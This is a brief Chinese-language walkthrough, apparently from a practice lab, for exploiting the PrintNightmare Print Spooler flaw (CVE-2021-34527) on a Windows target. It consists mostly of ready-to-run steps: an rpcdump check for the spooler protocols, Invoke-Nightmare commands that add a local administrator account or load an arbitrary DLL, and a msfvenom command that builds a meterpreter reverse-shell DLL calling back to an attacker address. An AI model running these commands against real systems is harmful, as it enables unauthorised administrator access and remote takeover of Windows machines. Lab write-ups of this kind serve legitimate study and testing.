CVE-2021-34527 是一个 Windows 打印后台处理程序(Print Spooler)中的严重漏洞,也被称为 PrintNightmare。该漏洞允许攻击者通过加载恶意打印驱动程序实现 远程代码执行(RCE) 或 本地权限提升(LPE)。
几乎所有 Windows 系统均受到影响,包括客户端和服务器版本,特别是未安装补丁的系统。
Impacket 工具套件中的 printerbug.py
参考项目: https://github.com/JohnHammond/CVE-2021-34527
先检查一下打印机相关的协议是否运行 运行在进行下一步
┌──(kali㉿kali)-[~/thl/Pacharan]
└─$ impacket-rpcdump @192.168.69.69 | grep -E 'MS-RPRN|MS-PAR'
Protocol: [MS-RPRN]: Print System Remote Protocol
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
上传漏洞利用脚本 cve-2021-34527.ps1 并加载利用模块 Invoke-Nightmare
Import-Module .\cve-2021-34527.ps1
Invoke-Nightmare 添加一个 `adm1n`/`P@ssw0rd` 到本地管理员组
指定用户添加
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
Invoke-Nightmare -DLL "C:\bindshell.dll"
msf生成 dll
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.69.3 lport=4455 -f dll -o reverse.dll